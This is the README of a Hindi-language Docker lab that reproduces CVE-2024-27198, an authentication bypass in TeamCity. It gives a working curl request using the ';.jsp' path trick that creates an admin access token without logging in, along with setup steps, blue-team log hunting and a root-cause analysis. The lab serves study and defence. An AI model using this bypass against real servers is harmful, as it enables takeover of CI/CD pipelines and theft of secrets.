CVE-2024-27198_Lab

विषय-सूची

• परियोजना के बारे में
  • CVE विवरण
  • निर्मित किया गया
• खतरा सूचना और OSINT
  • वास्तविक दुनिया में प्रभाव और शोषण
  • यह CVE क्यों गंभीर है
• शुरुआत करना
  • पूर्वापेक्षाएँ
  • इंस्टॉलेशन और लैब सेटअप
• पुनरुत्पादन और शोषण के चरण
  • लॉगिन पोर्टल
  • भेद्यता का परीक्षण करें
  • एडमिन टोकन जनरेट करें
  • टोकन सत्यापित करें
  • टोकन हटाएँ
  • ब्लू टीम: लॉग्स में IoCs की तलाश
  • कंटेनर रोकें
• शमन और पहचान
  • तकनीकी विश्लेषण (CWE-288)
  • समझौते के संकेतक (IoCs)
  • लॉग पहचान (Sigma नियम)
  • SIEM लाइव डेमो (ब्लू टीम)
  • उपचार
  • नेटवर्क पहचान (Suricata / Snort नियम)
  • पैच किए गए संस्करण का परीक्षण करें
• लिंक

परियोजना के बारे में

TeamCity टोकन प्रबंधन के लिए एक एडमिन-केवल पेज प्रदान करता है जो प्रमाणीकरण द्वारा सुरक्षित नहीं है। यह एक अप्रमाणित उपयोगकर्ता को एडमिन उपयोगकर्ता के लिए एक्सेस टोकन जनरेट करने की अनुमति देता है यदि वे किसी मौजूदा उपयोगकर्ता की ID ढूँढ सकें।

इस रिपॉज़िटरी में एक पूर्ण पुनरुत्पाद्य Dockerized लैब है जिसमें भेद्य (:8111) और पैच किए गए (:8112) दोनों TeamCity वातावरण, स्वचालित शोषण स्क्रिप्ट (exploit.py), ब्लू टीम लॉग-हंटिंग वॉकथ्रू, और एक लाइव SIEM इवेंट सिम्युलेटर (siem_simulator.py) शामिल हैं।

CVE विवरण

• CVE ID: CVE-2024-27198
• CWE: CWE-288 (वैकल्पिक पथ या चैनल का उपयोग करके प्रमाणीकरण बायपास)
• CNA: JetBrains s.r.o.
• आधार स्कोर: 9.8 CRITICAL
• वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • AV:N — नेटवर्क
  • AC:L — निम्न
  • PR:N — कोई नहीं
  • UI:N — कोई नहीं
  • S:U — अपरिवर्तित
  • C:H — उच्च
  • I:H — उच्च
  • A:H — उच्च

निर्मित किया गया

• 
• 
• 
• 
• 

खतरा सूचना और OSINT

वास्तविक दुनिया में प्रभाव और शोषण

• CISA KEV कैटलॉग: 7 मार्च, 2024 को जोड़ा गया, जो जंगल में सक्रिय शोषण की पुष्टि करता है।
• खतरा अभिनेता: कई रैनसमवेयर समूहों और APTs द्वारा शोषित, विशेष रूप से BianLian रैनसमवेयर समूह और Jasmin रैनसमवेयर वेरिएंट। हमलावरों ने इस बायपास का उपयोग नकली एडमिनिस्ट्रेटर खाते बनाने, दुर्भावनापूर्ण प्लगइन तैनात करने, और शिकार नेटवर्क के भीतर पार्श्व गति के लिए मनमाना कोड (RCE) निष्पादित करने के लिए किया।
• लक्ष्य प्रोफ़ाइल: CI/CD पाइपलाइन उच्च-मूल्य लक्ष्य हैं (आपूर्ति श्रृंखला हमले)। TeamCity से समझौता करने से हमलावरों को सॉफ़्टवेयर बिल्ड में दुर्भावनापूर्ण कोड इंजेक्ट करने, स्रोत कोड चुराने, और तैनाती रहस्य (AWS कुंजियाँ, प्रमाणपत्र) निकालने की अनुमति मिलती है।

यह CVE क्यों गंभीर है

यह भेद्यता REST API राउटिंग तंत्र में निहित है। किसी अप्रमाणित एंडपॉइंट में विशिष्ट अक्षर (जैसे ?jsp=/app/rest/...;.jsp) जोड़कर, हमलावर TeamCity वेब सर्वर को सुरक्षा फ़िल्टरों को बायपास करते हुए अनुरोध को प्रमाणित एंडपॉइंट पर राउट करने के लिए धोखा दे सकते हैं। इसके लिए किसी पूर्व ज्ञान या पहुँच की आवश्यकता नहीं होती, जिससे यह शुद्ध 9.8 CVSS बन जाता है।

शुरुआत करना

इस लैब की स्थानीय प्रति प्राप्त करके चालू करने के लिए इन सरल उदाहरण चरणों का पालन करें।

पूर्वापेक्षाएँ

• Docker और Docker Compose
• Python 3.10+
• curl

इंस्टॉलेशन और लैब सेटअप

1. रेपो को क्लोन करें

   git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
   

2. निर्देशिका बदलें

   cd CVE-2024-27198_Lab
   

3. कंटेनर शुरू करें

   docker compose up -d
   

• कमजोर TeamCity इंस्टेंस तक पहुँचें: http://localhost:8111
• पैच किए गए TeamCity इंस्टेंस तक पहुँचें: http://localhost:8112

पुनरुत्पादन और शोषण के चरण

लॉगिन पोर्टल

उपयोगकर्ता नाम:

admin

पासवर्ड:

admin

भेद्यता का परीक्षण करें

प्रमाणीकरण के बिना किसी संसाधन के लिए GET अनुरोध:

curl -i http://localhost:8111/app/rest/users

curl -i http://localhost:8112/app/rest/users

दोनों को 401 स्टेटस कोड के साथ एक त्रुटि लौटानी चाहिए।

एडमिन उपयोगकर्ता के लिए एक टोकन जनरेट करें

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

यह इस तरह एक टोकन लौटाएगा (टोकन हर बार अलग होता है):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

यह 401 स्टेटस कोड के साथ एक त्रुटि लौटाएगा क्योंकि पैच किए गए इंस्टेंस में भेद्यता नहीं है।

टोकन सत्यापित करें

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

उपयोगकर्ताओं की सूची लौटानी चाहिए।

टोकन हटाएँ

1. admin खाते के साथ http://localhost:8111 पर जाएँ।
2. ऊपर दाईं ओर प्रोफ़ाइल आइकन पर क्लिक करें।
3. Profile -> Access Tokens पर जाएँ।
4. आपको "REDTEAM" टोकन दिखाई देगा।
5. टोकन के बगल में बस Delete पर क्लिक करें।

ब्लू टीम: लॉग्स में IoCs की तलाश (स्टेल्थ फैक्टर)

लैब पर प्रदर्शन के दौरान, आप एक बड़ी ब्लू टीम फाइंडिंग दिखा सकते हैं: डिफ़ॉल्ट रूप से, यह भेद्यता अविश्वसनीय रूप से स्टेल्थी है!

1. TeamCity Docker इमेज में Tomcat एक्सेस लॉग डिफ़ॉल्ट रूप से अक्षम होते हैं, इसलिए ;.jsp HTTP अनुरोध लॉग नहीं होते।
2. TeamCity ऑडिट लॉग REST API के माध्यम से टोकन निर्माण को लॉग नहीं करता।

तो हम इसे कैसे पकड़ें? जब हमलावर अपने निशान मिटाता है! जब हमलावर छिपने के लिए अपना रोग टोकन हटाता है, तो TeamCity उसे लॉग करता है।

ऑडिट लॉग्स में अपने निशान मिटाते हमलावर को खोजें:

docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(आपको एक लॉग प्रविष्टि दिखाई देगी जो दर्शाती है कि "REDTEAM" टोकन हटा दिया गया था)।

कंटेनर बंद करें

docker compose down

शमन और पहचान

तकनीकी विश्लेषण (CWE-288)

यह भेद्यता CWE-288: वैकल्पिक पथ या चैनल का उपयोग करके प्रमाणीकरण बायपास का एक उदाहरण है। यह दोष Tomcat वेब सर्वर और TeamCity एप्लिकेशन राउटर के बीच पथ भ्रम (path confusion) की समस्या से उत्पन्न होता है। ;.jsp जोड़कर और jsp= पैरामीटर में लक्षित REST API एंडपॉइंट पास करके, प्रारंभिक सुरक्षा फ़िल्टर अनुरोध को एक सार्वजनिक .jsp फ़ाइल (जिसकी अनुमति है) के लिए अप्रमाणित अनुरोध के रूप में व्याख्यायित करता है। हालाँकि, आंतरिक राउटर ;.jsp को हटा देता है और अनुरोध को प्रमाणीकरण फ़िल्टर लागू किए बिना प्रतिबंधित /app/rest/ एंडपॉइंट पर अग्रेषित कर देता है।